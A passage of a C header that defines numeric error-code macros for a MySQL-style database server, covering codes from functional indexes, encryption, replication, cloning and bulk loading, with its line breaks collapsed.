ER_FUNCTIONAL_INDEX_PRIMARY_KEY 3756 #define ER_FUNCTIONAL_INDEX_ON_LOB 3757 #define ER_FUNCTIONAL_INDEX_FUNCTION_IS_NOT_ALLOWED 3758 #define ER_FULLTEXT_FUNCTIONAL_INDEX 3759 #define ER_SPATIAL_FUNCTIONAL_INDEX 3760 #define ER_WRONG_KEY_COLUMN_FUNCTIONAL_INDEX 3761 #define ER_FUNCTIONAL_INDEX_ON_FIELD 3762 #define ER_GENERATED_COLUMN_NAMED_FUNCTION_IS_NOT_ALLOWED 3763 #define ER_GENERATED_COLUMN_ROW_VALUE 3764 #define ER_GENERATED_COLUMN_VARIABLES 3765 #define ER_DEPENDENT_BY_DEFAULT_GENERATED_VALUE 3766 #define ER_DEFAULT_VAL_GENERATED_NON_PRIOR 3767 #define ER_DEFAULT_VAL_GENERATED_REF_AUTO_INC 3768 #define ER_DEFAULT_VAL_GENERATED_FUNCTION_IS_NOT_ALLOWED 3769 #define ER_DEFAULT_VAL_GENERATED_NAMED_FUNCTION_IS_NOT_ALLOWED 3770 #define ER_DEFAULT_VAL_GENERATED_ROW_VALUE 3771 #define ER_DEFAULT_VAL_GENERATED_VARIABLES 3772 #define ER_DEFAULT_AS_VAL_GENERATED 3773 #define ER_UNSUPPORTED_ACTION_ON_DEFAULT_VAL_GENERATED 3774 #define ER_GTID_UNSAFE_ALTER_ADD_COL_WITH_DEFAULT_EXPRESSION 3775 #define ER_FK_CANNOT_CHANGE_ENGINE 3776 #define ER_WARN_DEPRECATED_USER_SET_EXPR 3777 #define ER_WARN_DEPRECATED_UTF8MB3_COLLATION 3778 #define ER_WARN_DEPRECATED_NESTED_COMMENT_SYNTAX 3779 #define ER_FK_INCOMPATIBLE_COLUMNS 3780 #define ER_GR_HOLD_WAIT_TIMEOUT 3781 #define ER_GR_HOLD_KILLED 3782 #define ER_GR_HOLD_MEMBER_STATUS_ERROR 3783 #define ER_RPL_ENCRYPTION_FAILED_TO_FETCH_KEY 3784 #define ER_RPL_ENCRYPTION_KEY_NOT_FOUND 3785 #define ER_RPL_ENCRYPTION_KEYRING_INVALID_KEY 3786 #define ER_RPL_ENCRYPTION_HEADER_ERROR 3787 #define ER_RPL_ENCRYPTION_FAILED_TO_ROTATE_LOGS 3788 #define ER_RPL_ENCRYPTION_KEY_EXISTS_UNEXPECTED 3789 #define ER_RPL_ENCRYPTION_FAILED_TO_GENERATE_KEY 3790 #define ER_RPL_ENCRYPTION_FAILED_TO_STORE_KEY 3791 #define ER_RPL_ENCRYPTION_FAILED_TO_REMOVE_KEY 3792 #define ER_RPL_ENCRYPTION_UNABLE_TO_CHANGE_OPTION 3793 #define ER_RPL_ENCRYPTION_MASTER_KEY_RECOVERY_FAILED 3794 #define ER_SLOW_LOG_MODE_IGNORED_WHEN_NOT_LOGGING_TO_FILE 3795 #define ER_GRP_TRX_CONSISTENCY_NOT_ALLOWED 3796 #define ER_GRP_TRX_CONSISTENCY_BEFORE 3797 #define ER_GRP_TRX_CONSISTENCY_AFTER_ON_TRX_BEGIN 3798 #define ER_GRP_TRX_CONSISTENCY_BEGIN_NOT_ALLOWED 3799 #define ER_FUNCTIONAL_INDEX_ROW_VALUE_IS_NOT_ALLOWED 3800 #define ER_RPL_ENCRYPTION_FAILED_TO_ENCRYPT 3801 #define ER_PAGE_TRACKING_NOT_STARTED 3802 #define ER_PAGE_TRACKING_RANGE_NOT_TRACKED 3803 #define ER_PAGE_TRACKING_CANNOT_PURGE 3804 #define ER_RPL_ENCRYPTION_CANNOT_ROTATE_BINLOG_MASTER_KEY 3805 #define ER_BINLOG_MASTER_KEY_RECOVERY_OUT_OF_COMBINATION 3806 #define ER_BINLOG_MASTER_KEY_ROTATION_FAIL_TO_OPERATE_KEY 3807 #define ER_BINLOG_MASTER_KEY_ROTATION_FAIL_TO_ROTATE_LOGS 3808 #define ER_BINLOG_MASTER_KEY_ROTATION_FAIL_TO_REENCRYPT_LOG 3809 #define ER_BINLOG_MASTER_KEY_ROTATION_FAIL_TO_CLEANUP_UNUSED_KEYS 3810 #define ER_BINLOG_MASTER_KEY_ROTATION_FAIL_TO_CLEANUP_AUX_KEY 3811 #define ER_NON_BOOLEAN_EXPR_FOR_CHECK_CONSTRAINT 3812 #define ER_COLUMN_CHECK_CONSTRAINT_REFERENCES_OTHER_COLUMN 3813 #define ER_CHECK_CONSTRAINT_NAMED_FUNCTION_IS_NOT_ALLOWED 3814 #define ER_CHECK_CONSTRAINT_FUNCTION_IS_NOT_ALLOWED 3815 #define ER_CHECK_CONSTRAINT_VARIABLES 3816 #define ER_CHECK_CONSTRAINT_ROW_VALUE 3817 #define ER_CHECK_CONSTRAINT_REFERS_AUTO_INCREMENT_COLUMN 3818 #define ER_CHECK_CONSTRAINT_VIOLATED 3819 #define ER_CHECK_CONSTRAINT_REFERS_UNKNOWN_COLUMN 3820 #define ER_CHECK_CONSTRAINT_NOT_FOUND 3821 #define ER_CHECK_CONSTRAINT_DUP_NAME 3822 #define ER_CHECK_CONSTRAINT_CLAUSE_USING_FK_REFER_ACTION_COLUMN 3823 #define WARN_UNENCRYPTED_TABLE_IN_ENCRYPTED_DB 3824 #define ER_INVALID_ENCRYPTION_REQUEST 3825 #define ER_CANNOT_SET_TABLE_ENCRYPTION 3826 #define ER_CANNOT_SET_DATABASE_ENCRYPTION 3827 #define ER_CANNOT_SET_TABLESPACE_ENCRYPTION 3828 #define ER_TABLESPACE_CANNOT_BE_ENCRYPTED 3829 #define ER_TABLESPACE_CANNOT_BE_DECRYPTED 3830 #define ER_TABLESPACE_TYPE_UNKNOWN 3831 #define ER_TARGET_TABLESPACE_UNENCRYPTED 3832 #define ER_CANNOT_USE_ENCRYPTION_CLAUSE 3833 #define ER_INVALID_MULTIPLE_CLAUSES 3834 #define ER_UNSUPPORTED_USE_OF_GRANT_AS 3835 #define ER_UKNOWN_AUTH_ID_OR_ACCESS_DENIED_FOR_GRANT_AS 3836 #define ER_DEPENDENT_BY_FUNCTIONAL_INDEX 3837 #define ER_PLUGIN_NOT_EARLY 3838 #define ER_INNODB_REDO_LOG_ARCHIVE_START_SUBDIR_PATH 3839 #define ER_INNODB_REDO_LOG_ARCHIVE_START_TIMEOUT 3840 #define ER_INNODB_REDO_LOG_ARCHIVE_DIRS_INVALID 3841 #define ER_INNODB_REDO_LOG_ARCHIVE_LABEL_NOT_FOUND 3842 #define ER_INNODB_REDO_LOG_ARCHIVE_DIR_EMPTY 3843 #define ER_INNODB_REDO_LOG_ARCHIVE_NO_SUCH_DIR 3844 #define ER_INNODB_REDO_LOG_ARCHIVE_DIR_CLASH 3845 #define ER_INNODB_REDO_LOG_ARCHIVE_DIR_PERMISSIONS 3846 #define ER_INNODB_REDO_LOG_ARCHIVE_FILE_CREATE 3847 #define ER_INNODB_REDO_LOG_ARCHIVE_ACTIVE 3848 #define ER_INNODB_REDO_LOG_ARCHIVE_INACTIVE 3849 #define ER_INNODB_REDO_LOG_ARCHIVE_FAILED 3850 #define ER_INNODB_REDO_LOG_ARCHIVE_SESSION 3851 #define ER_STD_REGEX_ERROR 3852 #define ER_INVALID_JSON_TYPE 3853 #define ER_CANNOT_CONVERT_STRING 3854 #define ER_DEPENDENT_BY_PARTITION_FUNC 3855 #define ER_WARN_DEPRECATED_FLOAT_AUTO_INCREMENT 3856 #define ER_RPL_CANT_STOP_REPLICA_WHILE_LOCKED_BACKUP 3857 #define ER_WARN_DEPRECATED_FLOAT_DIGITS 3858 #define ER_WARN_DEPRECATED_FLOAT_UNSIGNED 3859 #define ER_WARN_DEPRECATED_INTEGER_DISPLAY_WIDTH 3860 #define ER_WARN_DEPRECATED_ZEROFILL 3861 #define ER_CLONE_DONOR 3862 #define ER_CLONE_PROTOCOL 3863 #define ER_CLONE_DONOR_VERSION 3864 #define ER_CLONE_OS 3865 #define ER_CLONE_PLATFORM 3866 #define ER_CLONE_CHARSET 3867 #define ER_CLONE_CONFIG 3868 #define ER_CLONE_SYS_CONFIG 3869 #define ER_CLONE_PLUGIN_MATCH 3870 #define ER_CLONE_LOOPBACK 3871 #define ER_CLONE_ENCRYPTION 3872 #define ER_CLONE_DISK_SPACE 3873 #define ER_CLONE_IN_PROGRESS 3874 #define ER_CLONE_DISALLOWED 3875 #define ER_CANNOT_GRANT_ROLES_TO_ANONYMOUS_USER 3876 #define ER_SECONDARY_ENGINE_PLUGIN 3877 #define ER_SECOND_PASSWORD_CANNOT_BE_EMPTY 3878 #define ER_DB_ACCESS_DENIED 3879 #define ER_DA_AUTH_ID_WITH_SYSTEM_USER_PRIV_IN_MANDATORY_ROLES 3880 #define ER_DA_RPL_GTID_TABLE_CANNOT_OPEN 3881 #define ER_GEOMETRY_IN_UNKNOWN_LENGTH_UNIT 3882 #define ER_DA_PLUGIN_INSTALL_ERROR 3883 #define ER_NO_SESSION_TEMP 3884 #define ER_DA_UNKNOWN_ERROR_NUMBER 3885 #define ER_COLUMN_CHANGE_SIZE 3886 #define ER_REGEXP_INVALID_CAPTURE_GROUP_NAME 3887 #define ER_DA_SSL_LIBRARY_ERROR 3888 #define ER_SECONDARY_ENGINE 3889 #define ER_SECONDARY_ENGINE_DDL 3890 #define ER_INCORRECT_CURRENT_PASSWORD 3891 #define ER_MISSING_CURRENT_PASSWORD 3892 #define ER_CURRENT_PASSWORD_NOT_REQUIRED 3893 #define ER_PASSWORD_CANNOT_BE_RETAINED_ON_PLUGIN_CHANGE 3894 #define ER_CURRENT_PASSWORD_CANNOT_BE_RETAINED 3895 #define ER_PARTIAL_REVOKES_EXIST 3896 #define ER_CANNOT_GRANT_SYSTEM_PRIV_TO_MANDATORY_ROLE 3897 #define ER_XA_REPLICATION_FILTERS 3898 #define ER_UNSUPPORTED_SQL_MODE 3899 #define ER_REGEXP_INVALID_FLAG 3900 #define ER_PARTIAL_REVOKE_AND_DB_GRANT_BOTH_EXISTS 3901 #define ER_UNIT_NOT_FOUND 3902 #define ER_INVALID_JSON_VALUE_FOR_FUNC_INDEX 3903 #define ER_JSON_VALUE_OUT_OF_RANGE_FOR_FUNC_INDEX 3904 #define ER_EXCEEDED_MV_KEYS_NUM 3905 #define ER_EXCEEDED_MV_KEYS_SPACE 3906 #define ER_FUNCTIONAL_INDEX_DATA_IS_TOO_LONG 3907 #define ER_WRONG_MVI_VALUE 3908 #define ER_WARN_FUNC_INDEX_NOT_APPLICABLE 3909 #define ER_GRP_RPL_UDF_ERROR 3910 #define ER_UPDATE_GTID_PURGED_WITH_GR 3911 #define ER_GROUPING_ON_TIMESTAMP_IN_DST 3912 #define ER_TABLE_NAME_CAUSES_TOO_LONG_PATH 3913 #define ER_AUDIT_LOG_INSUFFICIENT_PRIVILEGE 3914 //#define OBSOLETE_ER_AUDIT_LOG_PASSWORD_HAS_BEEN_COPIED 3915 #define ER_DA_GRP_RPL_STARTED_AUTO_REJOIN 3916 #define ER_SYSVAR_CHANGE_DURING_QUERY 3917 #define ER_GLOBSTAT_CHANGE_DURING_QUERY 3918 #define ER_GRP_RPL_MESSAGE_SERVICE_INIT_FAILURE 3919 #define ER_CHANGE_SOURCE_WRONG_COMPRESSION_ALGORITHM_CLIENT 3920 #define ER_CHANGE_SOURCE_WRONG_COMPRESSION_LEVEL_CLIENT 3921 #define ER_WRONG_COMPRESSION_ALGORITHM_CLIENT 3922 #define ER_WRONG_COMPRESSION_LEVEL_CLIENT 3923 #define ER_CHANGE_SOURCE_WRONG_COMPRESSION_ALGORITHM_LIST_CLIENT 3924 #define ER_CLIENT_PRIVILEGE_CHECKS_USER_CANNOT_BE_ANONYMOUS 3925 #define ER_CLIENT_PRIVILEGE_CHECKS_USER_DOES_NOT_EXIST 3926 #define ER_CLIENT_PRIVILEGE_CHECKS_USER_CORRUPT 3927 #define ER_CLIENT_PRIVILEGE_CHECKS_USER_NEEDS_RPL_APPLIER_PRIV 3928 #define ER_WARN_DA_PRIVILEGE_NOT_REGISTERED 3929 #define ER_CLIENT_KEYRING_UDF_KEY_INVALID 3930 #define ER_CLIENT_KEYRING_UDF_KEY_TYPE_INVALID 3931 #define ER_CLIENT_KEYRING_UDF_KEY_TOO_LONG 3932 #define ER_CLIENT_KEYRING_UDF_KEY_TYPE_TOO_LONG 3933 #define ER_JSON_SCHEMA_VALIDATION_ERROR_WITH_DETAILED_REPORT 3934 #define ER_DA_UDF_INVALID_CHARSET_SPECIFIED 3935 #define ER_DA_UDF_INVALID_CHARSET 3936 #define ER_DA_UDF_INVALID_COLLATION 3937 #define ER_DA_UDF_INVALID_EXTENSION_ARGUMENT_TYPE 3938 #define ER_MULTIPLE_CONSTRAINTS_WITH_SAME_NAME 3939 #define ER_CONSTRAINT_NOT_FOUND 3940 #define ER_ALTER_CONSTRAINT_ENFORCEMENT_NOT_SUPPORTED 3941 #define ER_TABLE_VALUE_CONSTRUCTOR_MUST_HAVE_COLUMNS 3942 #define ER_TABLE_VALUE_CONSTRUCTOR_CANNOT_HAVE_DEFAULT 3943 #define ER_CLIENT_QUERY_FAILURE_INVALID_NON_ROW_FORMAT 3944 #define ER_REQUIRE_ROW_FORMAT_INVALID_VALUE 3945 #define ER_FAILED_TO_DETERMINE_IF_ROLE_IS_MANDATORY 3946 #define ER_FAILED_TO_FETCH_MANDATORY_ROLE_LIST 3947 #define ER_CLIENT_LOCAL_FILES_DISABLED 3948 #define ER_IMP_INCOMPATIBLE_CFG_VERSION 3949 #define ER_DA_OOM 3950 #define ER_DA_UDF_INVALID_ARGUMENT_TO_SET_CHARSET 3951 #define ER_DA_UDF_INVALID_RETURN_TYPE_TO_SET_CHARSET 3952 #define ER_MULTIPLE_INTO_CLAUSES 3953 #define ER_MISPLACED_INTO 3954 #define ER_USER_ACCESS_DENIED_FOR_USER_ACCOUNT_BLOCKED_BY_PASSWORD_LOCK 3955 #define ER_WARN_DEPRECATED_YEAR_UNSIGNED 3956 #define ER_CLONE_NETWORK_PACKET 3957 #define ER_SDI_OPERATION_FAILED_MISSING_RECORD 3958 #define ER_DEPENDENT_BY_CHECK_CONSTRAINT 3959 #define ER_GRP_OPERATION_NOT_ALLOWED_GR_MUST_STOP 3960 #define ER_WARN_DEPRECATED_JSON_TABLE_ON_ERROR_ON_EMPTY 3961 #define ER_WARN_DEPRECATED_INNER_INTO 3962 #define ER_WARN_DEPRECATED_VALUES_FUNCTION_ALWAYS_NULL 3963 #define ER_WARN_DEPRECATED_SQL_CALC_FOUND_ROWS 3964 #define ER_WARN_DEPRECATED_FOUND_ROWS 3965 #define ER_MISSING_JSON_VALUE 3966 #define ER_MULTIPLE_JSON_VALUES 3967 #define ER_HOSTNAME_TOO_LONG 3968 #define ER_WARN_CLIENT_DEPRECATED_PARTITION_PREFIX_KEY 3969 #define ER_GROUP_REPLICATION_USER_EMPTY_MSG 3970 #define ER_GROUP_REPLICATION_USER_MANDATORY_MSG 3971 #define ER_GROUP_REPLICATION_PASSWORD_LENGTH 3972 #define ER_SUBQUERY_TRANSFORM_REJECTED 3973 #define ER_DA_GRP_RPL_RECOVERY_ENDPOINT_FORMAT 3974 #define ER_DA_GRP_RPL_RECOVERY_ENDPOINT_INVALID 3975 #define ER_WRONG_VALUE_FOR_VAR_PLUS_ACTIONABLE_PART 3976 #define ER_STATEMENT_NOT_ALLOWED_AFTER_START_TRANSACTION 3977 #define ER_FOREIGN_KEY_WITH_ATOMIC_CREATE_SELECT 3978 #define ER_NOT_ALLOWED_WITH_START_TRANSACTION 3979 #define ER_INVALID_JSON_ATTRIBUTE 3980 #define ER_ENGINE_ATTRIBUTE_NOT_SUPPORTED 3981 #define ER_INVALID_USER_ATTRIBUTE_JSON 3982 #define ER_INNODB_REDO_DISABLED 3983 #define ER_INNODB_REDO_ARCHIVING_ENABLED 3984 #define ER_MDL_OUT_OF_RESOURCES 3985 #define ER_IMPLICIT_COMPARISON_FOR_JSON 3986 #define ER_FUNCTION_DOES_NOT_SUPPORT_CHARACTER_SET 3987 #define ER_IMPOSSIBLE_STRING_CONVERSION 3988 #define ER_SCHEMA_READ_ONLY 3989 #define ER_RPL_ASYNC_RECONNECT_GTID_MODE_OFF 3990 #define ER_RPL_ASYNC_RECONNECT_AUTO_POSITION_OFF 3991 #define ER_DISABLE_GTID_MODE_REQUIRES_ASYNC_RECONNECT_OFF 3992 #define ER_DISABLE_AUTO_POSITION_REQUIRES_ASYNC_RECONNECT_OFF 3993 #define ER_INVALID_PARAMETER_USE 3994 #define ER_CHARACTER_SET_MISMATCH 3995 #define ER_WARN_VAR_VALUE_CHANGE_NOT_SUPPORTED 3996 #define ER_INVALID_TIME_ZONE_INTERVAL 3997 #define ER_INVALID_CAST 3998 #define ER_HYPERGRAPH_NOT_SUPPORTED_YET 3999 #define ER_WARN_HYPERGRAPH_EXPERIMENTAL 4000 #define ER_DA_NO_ERROR_LOG_PARSER_CONFIGURED 4001 #define ER_DA_ERROR_LOG_TABLE_DISABLED 4002 #define ER_DA_ERROR_LOG_MULTIPLE_FILTERS 4003 #define ER_DA_CANT_OPEN_ERROR_LOG 4004 #define ER_USER_REFERENCED_AS_DEFINER 4005 #define ER_CANNOT_USER_REFERENCED_AS_DEFINER 4006 #define ER_REGEX_NUMBER_TOO_BIG 4007 #define ER_SPVAR_NONINTEGER_TYPE 4008 #define WARN_UNSUPPORTED_ACL_TABLES_READ 4009 #define ER_BINLOG_UNSAFE_ACL_TABLE_READ_IN_DML_DDL 4010 #define ER_STOP_REPLICA_MONITOR_IO_THREAD_TIMEOUT 4011 #define ER_STARTING_REPLICA_MONITOR_IO_THREAD 4012 #define ER_CANT_USE_ANONYMOUS_TO_GTID_WITH_GTID_MODE_NOT_ON 4013 #define ER_CANT_COMBINE_ANONYMOUS_TO_GTID_AND_AUTOPOSITION 4014 #define ER_ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS_REQUIRES_GTID_MODE_ON 4015 #define ER_SQL_REPLICA_SKIP_COUNTER_USED_WITH_GTID_MODE_ON 4016 #define ER_USING_ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS_AS_LOCAL_OR_UUID 4017 #define ER_CANT_SET_ANONYMOUS_TO_GTID_AND_WAIT_UNTIL_SQL_THD_AFTER_GTIDS 4018 #define ER_CANT_SET_SQL_AFTER_OR_BEFORE_GTIDS_WITH_ANONYMOUS_TO_GTID 4019 #define ER_ANONYMOUS_TO_GTID_UUID_SAME_AS_GROUP_NAME 4020 #define ER_CANT_USE_SAME_UUID_AS_GROUP_NAME 4021 #define ER_GRP_RPL_RECOVERY_CHANNEL_STILL_RUNNING 4022 #define ER_INNODB_INVALID_AUTOEXTEND_SIZE_VALUE 4023 #define ER_INNODB_INCOMPATIBLE_WITH_TABLESPACE 4024 #define ER_INNODB_AUTOEXTEND_SIZE_OUT_OF_RANGE 4025 #define ER_CANNOT_USE_AUTOEXTEND_SIZE_CLAUSE 4026 #define ER_ROLE_GRANTED_TO_ITSELF 4027 #define ER_TABLE_MUST_HAVE_A_VISIBLE_COLUMN 4028 #define ER_INNODB_COMPRESSION_FAILURE 4029 #define ER_WARN_ASYNC_CONN_FAILOVER_NETWORK_NAMESPACE 4030 #define ER_CLIENT_INTERACTION_TIMEOUT 4031 #define ER_INVALID_CAST_TO_GEOMETRY 4032 #define ER_INVALID_CAST_POLYGON_RING_DIRECTION 4033 #define ER_GIS_DIFFERENT_SRIDS_AGGREGATION 4034 #define ER_RELOAD_KEYRING_FAILURE 4035 #define ER_SDI_GET_KEYS_INVALID_TABLESPACE 4036 #define ER_CHANGE_RPL_SRC_WRONG_COMPRESSION_ALGORITHM_SIZE 4037 //#define OBSOLETE_ER_WARN_DEPRECATED_TLS_VERSION_FOR_CHANNEL_CLI 4038 #define ER_CANT_USE_SAME_UUID_AS_VIEW_CHANGE_UUID 4039 #define ER_ANONYMOUS_TO_GTID_UUID_SAME_AS_VIEW_CHANGE_UUID 4040 #define ER_GRP_RPL_VIEW_CHANGE_UUID_FAIL_GET_VARIABLE 4041 #define ER_WARN_ADUIT_LOG_MAX_SIZE_AND_PRUNE_SECONDS 4042 #define ER_WARN_ADUIT_LOG_MAX_SIZE_CLOSE_TO_ROTATE_ON_SIZE 4043 #define ER_KERBEROS_CREATE_USER 4044 #define ER_INSTALL_PLUGIN_CONFLICT_CLIENT 4045 #define ER_DA_ERROR_LOG_COMPONENT_FLUSH_FAILED 4046 #define ER_WARN_SQL_AFTER_MTS_GAPS_GAP_NOT_CALCULATED 4047 #define ER_INVALID_ASSIGNMENT_TARGET 4048 #define ER_OPERATION_NOT_ALLOWED_ON_GR_SECONDARY 4049 #define ER_GRP_RPL_FAILOVER_CHANNEL_STATUS_PROPAGATION 4050 #define ER_WARN_AUDIT_LOG_FORMAT_UNIX_TIMESTAMP_ONLY_WHEN_JSON 4051 #define ER_INVALID_MFA_PLUGIN_SPECIFIED 4052 #define ER_IDENTIFIED_BY_UNSUPPORTED 4053 #define ER_INVALID_PLUGIN_FOR_REGISTRATION 4054 #define ER_PLUGIN_REQUIRES_REGISTRATION 4055 #define ER_MFA_METHOD_EXISTS 4056 #define ER_MFA_METHOD_NOT_EXISTS 4057 #define ER_AUTHENTICATION_POLICY_MISMATCH 4058 #define ER_PLUGIN_REGISTRATION_DONE 4059 #define ER_INVALID_USER_FOR_REGISTRATION 4060 #define ER_USER_REGISTRATION_FAILED 4061 #define ER_MFA_METHODS_INVALID_ORDER 4062 #define ER_MFA_METHODS_IDENTICAL 4063 #define ER_INVALID_MFA_OPERATIONS_FOR_PASSWORDLESS_USER 4064 #define ER_CHANGE_REPLICATION_SOURCE_NO_OPTIONS_FOR_GTID_ONLY 4065 #define ER_CHANGE_REP_SOURCE_CANT_DISABLE_REQ_ROW_FORMAT_WITH_GTID_ONLY 4066 #define ER_CHANGE_REP_SOURCE_CANT_DISABLE_AUTO_POSITION_WITH_GTID_ONLY 4067 #define ER_CHANGE_REP_SOURCE_CANT_DISABLE_GTID_ONLY_WITHOUT_POSITIONS 4068 #define ER_CHANGE_REP_SOURCE_CANT_DISABLE_AUTO_POS_WITHOUT_POSITIONS 4069 #define ER_CHANGE_REP_SOURCE_GR_CHANNEL_WITH_GTID_MODE_NOT_ON 4070 #define ER_CANT_USE_GTID_ONLY_WITH_GTID_MODE_NOT_ON 4071 #define ER_WARN_C_DISABLE_GTID_ONLY_WITH_SOURCE_AUTO_POS_INVALID_POS 4072 #define ER_DA_SSL_FIPS_MODE_ERROR 4073 #define ER_VALUE_OUT_OF_RANGE 4074 #define ER_FULLTEXT_WITH_ROLLUP 4075 #define ER_REGEXP_MISSING_RESOURCE 4076 #define ER_WARN_REGEXP_USING_DEFAULT 4077 #define ER_REGEXP_MISSING_FILE 4078 #define ER_WARN_DEPRECATED_COLLATION 4079 #define ER_CONCURRENT_PROCEDURE_USAGE 4080 #define ER_DA_GLOBAL_CONN_LIMIT 4081 #define ER_DA_CONN_LIMIT 4082 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_COLUMN_TYPE_INSTANT 4083 #define ER_WARN_SF_UDF_NAME_COLLISION 4084 #define ER_CANNOT_PURGE_BINLOG_WITH_BACKUP_LOCK 4085 #define ER_TOO_MANY_WINDOWS 4086 #define ER_MYSQLBACKUP_CLIENT_MSG 4087 #define ER_COMMENT_CONTAINS_INVALID_STRING 4088 #define ER_DEFINITION_CONTAINS_INVALID_STRING 4089 #define ER_CANT_EXECUTE_COMMAND_WITH_ASSIGNED_GTID_NEXT 4090 #define ER_XA_TEMP_TABLE 4091 #define ER_INNODB_MAX_ROW_VERSION 4092 //#define OBSOLETE_ER_INNODB_INSTANT_ADD_NOT_SUPPORTED_MAX_SIZE 4093 #define ER_OPERATION_NOT_ALLOWED_WHILE_PRIMARY_CHANGE_IS_RUNNING 4094 #define ER_WARN_DEPRECATED_DATETIME_DELIMITER 4095 #define ER_WARN_DEPRECATED_SUPERFLUOUS_DELIMITER 4096 #define ER_CANNOT_PERSIST_SENSITIVE_VARIABLES 4097 #define ER_WARN_CANNOT_SECURELY_PERSIST_SENSITIVE_VARIABLES 4098 #define ER_WARN_TRG_ALREADY_EXISTS 4099 #define ER_IF_NOT_EXISTS_UNSUPPORTED_TRG_EXISTS_ON_DIFFERENT_TABLE 4100 #define ER_IF_NOT_EXISTS_UNSUPPORTED_UDF_NATIVE_FCT_NAME_COLLISION 4101 #define ER_SET_PASSWORD_AUTH_PLUGIN_ERROR 4102 //#define OBSOLETE_ER_REDUCED_DBLWR_FILE_CORRUPTED 4103 //#define OBSOLETE_ER_REDUCED_DBLWR_PAGE_FOUND 4104 #define ER_SRS_INVALID_LATITUDE_OF_ORIGIN 4105 #define ER_SRS_INVALID_LONGITUDE_OF_ORIGIN 4106 #define ER_SRS_UNUSED_PROJ_PARAMETER_PRESENT 4107 #define ER_GIPK_COLUMN_EXISTS 4108 #define ER_GIPK_FAILED_AUTOINC_COLUMN_EXISTS 4109 #define ER_GIPK_COLUMN_ALTER_NOT_ALLOWED 4110 #define ER_DROP_PK_COLUMN_TO_DROP_GIPK 4111 #define ER_CREATE_SELECT_WITH_GIPK_DISALLOWED_IN_SBR 4112 #define ER_DA_EXPIRE_LOGS_DAYS_IGNORED 4113 #define ER_CTE_RECURSIVE_NOT_UNION 4114 #define ER_COMMAND_BACKEND_FAILED_TO_FETCH_SECURITY_CTX 4115 #define ER_COMMAND_SERVICE_BACKEND_FAILED 4116 #define ER_CLIENT_FILE_PRIVILEGE_FOR_REPLICATION_CHECKS 4117 #define ER_GROUP_REPLICATION_FORCE_MEMBERS_COMMAND_FAILURE 4118 #define ER_WARN_DEPRECATED_IDENT 4119 #define ER_INTERSECT_ALL_MAX_DUPLICATES_EXCEEDED 4120 #define ER_TP_QUERY_THRS_PER_GRP_EXCEEDS_TXN_THR_LIMIT 4121 #define ER_BAD_TIMESTAMP_FORMAT 4122 #define ER_SHAPE_PRIDICTION_UDF 4123 #define ER_SRS_INVALID_HEIGHT 4124 #define ER_SRS_INVALID_SCALING 4125 #define ER_SRS_INVALID_ZONE_WIDTH 4126 #define ER_SRS_INVALID_LATITUDE_POLAR_STERE_VAR_A 4127 #define ER_WARN_DEPRECATED_CLIENT_NO_SCHEMA_OPTION 4128 #define ER_TABLE_NOT_EMPTY 4129 #define ER_TABLE_NO_PRIMARY_KEY 4130 #define ER_TABLE_IN_SHARED_TABLESPACE 4131 #define ER_INDEX_OTHER_THAN_PK 4132 #define ER_LOAD_BULK_DATA_UNSORTED 4133 #define ER_BULK_EXECUTOR_ERROR 4134 #define ER_BULK_READER_LIBCURL_INIT_FAILED 4135 #define ER_BULK_READER_LIBCURL_ERROR 4136 #define ER_BULK_READER_SERVER_ERROR 4137 #define ER_BULK_READER_COMMUNICATION_ERROR 4138 #define ER_BULK_LOAD_DATA_FAILED 4139 #define ER_BULK_LOADER_COLUMN_TOO_BIG_FOR_LEFTOVER_BUFFER 4140 #define ER_BULK_LOADER_COMPONENT_ERROR 4141 #define ER_BULK_LOADER_FILE_CONTAINS_LESS_LINES_THAN_IGNORE_CLAUSE 4142 #define ER_BULK_PARSER_MISSING_ENCLOSED_BY 4143 #define ER_BULK_PARSER_ROW_BUFFER_MAX_TOTAL_COLS_EXCEEDED 4144 #define ER_BULK_PARSER_COPY_BUFFER_SIZE_EXCEEDED 4145 #define ER_BULK_PARSER_UNEXPECTED_END_OF_INPUT 4146 #define ER_BULK_PARSER_UNEXPECTED_ROW_TERMINATOR 4147 #define ER_BULK_PARSER_UNEXPECTED_CHAR_AFTER_ENDING_ENCLOSED_BY 4148 #define ER_BULK_PARSER_UNEXPECTED_CHAR_AFTER_NULL_ESCAPE 4149 #define ER_BULK_PARSER_UNEXPECTED_CHAR_AFTER_COLUMN_TERMINATOR 4150 #define ER_BULK_PARSER_INCOMPLETE_ESCAPE_SEQUENCE 4151 #define ER_LOAD_BULK_DATA_FAILED 4152 #define ER_LOAD_BULK_DATA_WRONG_VALUE_FOR_FIELD 4153 #define ER_LOAD_BULK_DATA_WARN_NULL_TO_NOTNULL 4154 #define ER_REQUIRE_TABLE_PRIMARY_KEY_CHECK_GENERATE_WITH_GR 4155 #define ER_CANT_CHANGE_SYS_VAR_IN_READ_ONLY_MODE 4156 #define ER_INNODB_INSTANT_ADD_DROP_NOT_SUPPORTED_MAX_SIZE 4157 #define ER_INNODB_INSTANT_ADD_NOT_SUPPORTED_MAX_FIELDS 4158 #define ER_CANT_SET_PERSISTED 4159 #define ER_INSTALL_COMPONENT_SET_NULL_VALUE 4160 #define ER_INSTALL_COMPONENT_SET_UNUSED_VALUE 4161 #define ER_WARN_DEPRECATED_USER_DEFINED_COLLATIONS 4162 #define ER_USER_LOCK_OVERLONG_NAME 4163 #define ER_WARN_NO_SPACE_VERSION_COMMENT 4164 #define ER_VALIDATE_PASSWORD_INSUFFICIENT_CHANGED_CHARACTERS 4165 #define ER_WARN_DEPRECATED_WITH_NOTE 4166 #define ER_CANT_RUN_COMMAND_SERVICES_RECURSIVELY 4167 #define ER_PARSER_TRACE 10000 #define ER_BOOTSTRAP_CANT_THREAD 10001 #define ER_TRIGGER_INVALID_VALUE 10002 #define ER_OPT_WRONG_TREE 10003 #define ER_DD_FAILSAFE 10004 #define ER_DD_NO_WRITES_NO_REPOPULATION 10005 #define ER_DD_VERSION_FOUND 10006 #define ER_DD_VERSION_INSTALLED 10007 #define ER_DD_VERSION_UNSUPPORTED 10008 //#define OBSOLETE_ER_LOG_SYSLOG_FACILITY_FAIL 10009 #define ER_LOG_SYSLOG_CANNOT_OPEN 10010 #define ER_LOG_SLOW_CANNOT_OPEN 10011 #define ER_LOG_GENERAL_CANNOT_OPEN 10012 #define ER_LOG_CANNOT_WRITE 10013 //#define OBSOLETE_ER_RPL_ZOMBIE_ENCOUNTERED 10014 #define 